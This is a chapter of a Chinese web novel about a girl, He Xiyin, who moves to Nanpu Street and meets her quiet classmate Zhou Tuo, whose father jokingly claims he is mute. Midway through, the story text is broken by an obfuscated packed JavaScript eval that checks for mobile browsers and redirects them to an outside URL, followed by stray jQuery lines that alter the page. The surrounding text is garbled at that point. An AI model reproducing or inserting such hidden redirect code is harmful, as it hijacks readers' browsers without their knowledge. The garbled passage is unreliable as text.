何希音和周拓的相识源于一场误会。


    七岁那年的夏天，何希音搬到南浦街。转学手续已办理好，等秋季开学她就要转入南浦小学读二年级。


    牧辽说小孩子是记忆只有七秒的金鱼。等夏天过去，她会忘记曾经的小学同学，会认识很多新朋友，不会再哭哭啼啼。


    “你骗人！”


    “爸爸是大骗子！”


    何希音关进房间，盯着鱼缸发呆。


    金鱼养在blueblue的浴缸里，吞吐寂寞的泡泡，日子是重复的，做的事也是重复的，它不是记不住，是不需要记。


    但她不一样。


    这一年，她很努力地记下全班同学的名字和模样。


    这些引以为傲的东西都要结束在这个夏天。


    何乐仪叩门：“音音。”


    “我不想去南浦小学读书。”何希音对门外喊。


    何乐仪为难：“手续都办完了。”听到屋内此起彼伏的哀怨，补充道，“周末妈妈可以带你去以前的同学家玩。你想想，开学你就能认识更多朋友了。别人的小学同学只是一个班，你有两个班，你比他们更厉害。是不是？”


    她吓唬：“再不开门，西瓜就给爸爸咯。”


    “不可以！！”何希音一个箭步，冲去开门，叉起一块放进嘴里，沙瓤西瓜脆甜多汁，瞬间冲刷掉她阴郁的心情，是当之无愧的夏日救星。


    她边吃边嘟囔：“不给爸爸吃！”


    牧辽双手叉腰，笑得直不起身：“这瓜可是我开车去超市买的。我买的。我切的。我去的籽。”他走近，戳了戳她脑门，“你呀你。真是记仇。”


    何希音摆臭脸：“就是记仇！”


    牧辽说：“如果这里让你不开心，随时可以转回去。这里的学区比原来的好，转学对你以后升初中有好处。”


    初中？这个词对何希音来说太遥远了。牧辽说得如此真诚，她也不好反驳，轻嗯应下，随即竖起小指：“拉钩保证。”


    牧辽伸手拉钩，拇指按下去：“盖章。”


    他弓背，张嘴凑近：“现在我可以吃了吧？”


    何希音叉起一块西瓜，但手往何乐仪的方向举：“不给你。我要给妈妈。”


    牧辽戳她脑门：“小气又记仇。”


    他说：“收拾一下。我带你去周承安家打个招呼。以后少不了麻烦人家。”


    一听要去周承安家，何希音肩胛仿佛生出双翼，满心雀跃，恨不能下秒就飞过去。童话书里的圣诞老人一年才送一次礼，周承安和牧辽是旧友，工作上又多有合作，隔三差五就会带礼物来家里做客，有时候是新版童话书，有时候是限定芭比。


    他的口袋一定连接着玩具城。


    何希音坚信。


    “他儿子在南浦小学。开学你们就是同学了。我带你去认识一下。”牧辽带上礼物，催促何希音。


    何希音弯腰穿鞋：“圣诞老人的儿子长什么样呢？”


    如果他不像周承安那样温和好相处，那就祈祷他口袋也连接着玩具城。既然是父子，总得有一点相似吧？


    何希音的幻想落空。


    在周家待了三小时也没见到人。


    周拓去体育场跑步，不在家。


    但收到周承安送的一盏小夜灯。


    —


    次日，父母有工作不在家，何希音寄在周家。


    插画师可以居家工作，周承安陪她玩了一天，给她做了最喜欢的糖醋排骨。


    周拓去少年宫上奥数课，不在家。


    两人没见面。


    但何希音睡梦中还在嚼排骨。


    —


    又一日，何希音带礼物去周家回礼。


    周承安掏出儿童剧影票问她要不要去？


    她不好意思：“周拓呢？”


    “他不喜欢儿童剧。他今天去同学家了。你……”


    “我要去！”


    —


    一日又一日。


    依然没见到周拓。


    但礼物池越积越多。


    她开始喜欢南浦街了。她想。


    —


    “见到周拓了吗？”牧辽问。


    何希音懵圈：“周拓是谁？”


    牧辽好一阵无言，生气又觉着好笑：“你每天去周承安家都在干嘛？”


    何希音面不改色：“找周叔叔玩。”


    牧辽强调：“我是让你去认识新同学，不是让你去打扰承安工作。”


    “才不是打扰。”何希音眼尾耷拉以示委屈，下秒就扬起骄傲的脸，“周叔叔说我给他的童话书提供灵感了呢。”


    此刻，何乐仪下班，带回两盒桃酥。


    牧辽牵起何希音的手：“走。送一盒过去。”


    两人到周家时，客厅堆着大大小小的纸壳箱，屋内粉尘飘扬，刚进屋，牧辽呛了一鼻子灰，咳嗽连连。


    “你俩在大扫除？”牧辽看着一大一小两张沾满泥灰的脸，眼中满是不可思议，还有些许嫌弃。屋内弄得很乱，要是在大扫除，周承安这活干得也太粗糙了。


    周承安解释：“我在找大学时期画的草稿。我记得我画过一个很好的童话故事，当时没想好结尾，没画完。我现在想好了。但找不到草稿了。”


    “大学？！”牧辽诧异的眼睛瞪得更大，“那可是十二年前的事了。”


    “是啊。”


    “那这……够呛能找到。”


    牧辽把东西放到厨房，抬手扇开眼前的灰，屋内烟尘四起，灰蒙蒙的，他伸手把何希音拦在门外，自己蹲下帮着翻看画册。


    “你没电子备份？”


    “没有。”


    “既然记得内容，再重画一份？”


    “有些细节我记不清了。”


    周承安负责找，周拓负责记录。他拿笔写下每个箱子里的东西，再贴在箱子外。


    其实箱子都贴有标签，但这些箱子是周承安的精神财产，涉及灵感创意，是他的最高机密。标签上的涂鸦极具个人特色，十分抽象，只有他知道。时间一长，他也看不懂这些鬼画符了。


    现在周拓统一标上时间，既不用担心别人看懂，又方便日后查找。


    屋内堆满东西，三个人都是侧着身、踮着脚走路，何希音更没处落脚，也帮不上忙，呆站在门口，罚站似的。


    周承安拾掇杂物，清理出两袋要丢的：“周拓。你拿楼下去丢。”


    牧辽总算记起今天来这的目的，赶忙拉来女儿，引荐道：“这是周拓。开学，他和你一个班。”


    周拓的班主任是省优秀教师，他特意把何希音安插进这个班。


    明明两个人是父子，面容相似又很不同。


    周承安是块润玉，慈眉善目，永远是笑盈盈的，时常让人忘了他的年纪，没进学生堆里也瞧不出分别。周拓的眼角是下垂的，看上去冷冷的，闷闷的。那双黑眸似焚香的乌木，星火散在袅袅烟雾里，一闪，又暗了下去。


    “我……”对方眼神淡漠，何希音忽然扭捏起来，“叫何希音。”


    牧辽在身后推：“你帮他提一袋。刚搬过来，你还不知道垃圾站在哪，你跟着他去认认路，以后爸爸妈妈不在家，你可要帮着打扫收拾。”


    周承安摆手：“都是很轻的东西。他一个人能提。音音跟着去就好。”


    一个催着帮忙，一个又说不要。


    何希音乱了套，悬停半空的手不知该不该收回。


    周拓替她做了决定，侧身开门出去，留下果决的背影。何希音立即跟上，两人并肩走出小区。


    傍晚时分，天渐黑，南浦街两侧的商铺人来人往，头顶房屋一户又一户地亮起灯，长街小巷烟火气息浓郁。


    周承安常来家里做客，但这是何希音第一次见周拓。


    两人不认识，没有共同话题，对方态度冷淡，她也不是健谈的人，试着问了一句‘垃圾站远么？’，对方摇头没说话，她便不再说了，低头跟着继续走。


    呼啦——


    飞机恰在此刻飞过两人头顶。这是一架即将降落夏宜市的飞机，机身压低，拨开重重叠叠的云雾，从头顶压过，近得似乎伸手就能碰到。


    何希音忽然站定，双手合十，虔诚无比。


    周拓拧眉微惑，但不过两秒，就明白了为何。


    很快，何希音的话应证了他的猜想：“这是我爸爸告诉我的。他说人类经过数千次实验才达成飞天梦，飞机是先辈汗水与智慧的结晶，可以将你的愿望带上天空告诉流星。”


    周承安用类似的话术骗过周拓。


    周承安的说法更烂漫些，他说飞机的每一次起升降落都承载着数百人的平安，象征着幸运。看不见流星的日子里，向飞机许的愿也会实现。


    但周拓判其为一眼假。


    他是这么和周承安说的，也打算这么和何希音说。


    “是……”假的。


    “咳咳咳。”话未出口，嗓子忽然一阵疼，像被撕裂开，呼吸都是吞刀片，话一句说不出口，两个手提袋并在左手，右手捂着脖颈揉。


    何希音伸手：“我拿一袋吧。”


    周拓侧身躲开，轻轻摇头，抬手指前面，示意垃圾站马上就到。


    何希音耸肩：“好吧。”


    去时，一路沉默，回来时，仍是一路沉默。


    —


    周拓的黑眸微亮，勉强可以算作块焚香的乌木，但他本人简直就是根木头，不爱说话，没有反应，也找不到用处的呆木头！而后几天，何希音去周家，和他搭话，他不是点头摇头，就是浅笑摆手，一个字不肯吐露。


    好沉闷的人。


    他真是周承安的儿子吗？


    为什么父子俩会差这么多呢？


    她不懂。


    各种稀奇古怪的想法冒出脑袋，只能化成深深叹息。


    “唉……”


    坐在露台作画的周承安在草稿上画下第二十个正字。


    今天他用一套连环画聘用何希音做模特，她只需坐在桌边看书即可。但短短两小时，书页没翻多少，两手捧着沉甸甸的脑袋，无数次叹息。


    她每叹息一次，他就在草稿上做标记。


    这是她今日的第九十七次叹息。


    周承安忍不住好奇：“为转去新学校烦恼？”


    “不是。”


    “不要担心。班主任很温柔，班上同学都很好相处的。阿拓和你一个班，你有什么事就找他。”


    提到周拓，何希音的八字眉快拧成球了。


    她愁的就是这个人。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239423|166246||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>牧辽一直说希望两人成为朋友。


    可……他好像不喜欢自己。


    何希音叹：“周拓不喜欢我。”


    这次不是怀疑，是肯定句。


    周承安诧异：“你怎么会这样想？”下一秒，他敛笑，怒气值拉满，“这小子欺负你了？”


    何希音吓着，忙解释：“不、不是。”


    “他都不和我说话。我说什么，他只是点头摇头的。”何希音噘嘴，“这不就是不喜欢和我玩吗！”


    周承安陡然释怀，即刻雨过天晴，重开笑眼：“不是这样的。”


    “那是什么样的？”她小小的脑袋盛满疑惑。


    周承安低身附耳：“他是哑巴。”


    何希音瞪大眼，嘴巴惊得差点掉地。


    周承安却没事人似的，没有半点心疼，捏着画笔继续龙飞凤舞：“他对谁都这样。你别多想。他的点头摆手就是回答了。你多和他说话，习惯就好了。”


    何希音还是不信：“他真是哑巴？”


    周承安点头：“是啊。”


    “我怎么从没听爸妈提起过。”


    “可能觉得你认识他就知道了，没有特意说过。”


    “好吧。”


    何希音看向周承安的眼神多了些许同情。


    周承安仍笑着：“你别嫌弃他。你和他聊天，叔叔就送你一栋芭比的度假小屋。”


    “哇。真的吗？！”何希音不好意思地舔唇，“妈妈说这个很贵。”


    “没关系。你和周拓聊天是帮叔叔的忙。这是你的报酬。”


    何希音立刻接下：“保证完成任务！”


    ~


    当天下午，何希音开启任务线，找周拓聊天，哪怕他回应很少也努力找话题，每说一句，芭比度假屋在她脑子里就具象一些，她噼里啪啦说了好多，根本不在乎周拓回不回应，不在乎他回了什么，只管突突地一通输出，越说越开心，到最后自己哈哈笑了起来。


    周拓纠结的眉头从疑惑到惊诧，再到习以为常的麻木。


    离开时，何希音高举着手倒退：“周拓拜拜~我明天再来找你噢~”


    —


    暑假结束那天，何希音如愿得到一栋芭比度假屋以及一架飞机模型，周拓亲手制作的，飞机上贴着一串她看不懂的数字。


    她收下两份礼物，眼眶温热。


    周承安说：“这是你应得的。”


    “我知道。我是被自己感动了。”何希音吸气，“我的话疗让木头开花啦！我真厉害！”


    回到家，得意地向父母展示飞机模型：“看！周拓送我的！”


    牧辽：“看吧。我说周拓很好相处的吧。”


    何希音瘪嘴，没回答，也没否认。


    过了会，她说：“除了他是哑巴不会说话这点……其他就还行吧。”


    “啊？哑巴？”何乐仪微讶，要开口解释，却被牧辽拉走。听到这两个字就知道是周承安说的，不知道他为什么这么说，但牧辽不想揭穿，只是把何乐仪拉到房间，“估计是承安埋的线。”


    何乐仪更不解：“埋的什么？”


    牧辽摊手：“不知道。等着看吧。”


    —


    新学期开学，何希音到新班级报道领书。


    班主任请她上台作自我介绍。


    她不怯场，大方说：“我叫何希音。何仙姑的何。希望的希。音乐的音。希望接下去五年能和大家成为好朋友。”


    班级里掌声雷动。


    班主任将她安置到倒数第二排，恰好在周拓前桌。


    同学们很热情，各种问题砸向她，她也乐于回答。周拓靠在窗边没说话，同桌戳他，他才用平淡如水的语气说：“我认识她。”


    这句对何希音比白日惊雷更震撼。


    失语片刻，手指颤抖地指着他：“你不是哑巴吗？”


    周拓皱眉：“谁和你……”话音未落，立刻反应过来，“我爸说的。”


    何希音点头，水灵的黑眸全是小问号：“为什么呢？周叔叔为什么骗人呢？”


    “开玩笑吧。”周拓耸肩，没多少诧异，似是习惯父亲这种胡说八道的取乐。


    随后，他像是想到什么：“我扁桃体发炎了，嗓子很疼，这个暑假都没法说话。”


    “原来是这样。”何希音似懂非懂地点头。


    哑巴是假的，但芭比度假屋和飞机模型都是真的。收到礼物的喜悦冲淡被欺骗的愤怒，而且她不希望周拓是个可怜的哑巴。


    她再次道谢：“谢谢你送的飞机模型。但那串数字是什么意思？我看不懂。”


    周拓说：“补充那天我没说完的话。”


    何希音眯起眼：“什么？”


    周拓解释：“那是B737-200的模型机。和我们那天看到的飞机同型号。飞行高度在海拔7000米到12000米之间。而流星通常出现在距地面80到120公里的高空中。”


    何希音仍是摇头：“还是不懂。”


    周拓戳破：“飞机的限定高度比流星低很多。向飞机许愿是没有用的。”


    这句话的摧毁力堪比原-子-弹，多年的信仰被炸得稀碎，有那么一瞬间，她真的希望周拓是个哑巴。


    何希音哇地一声哭了。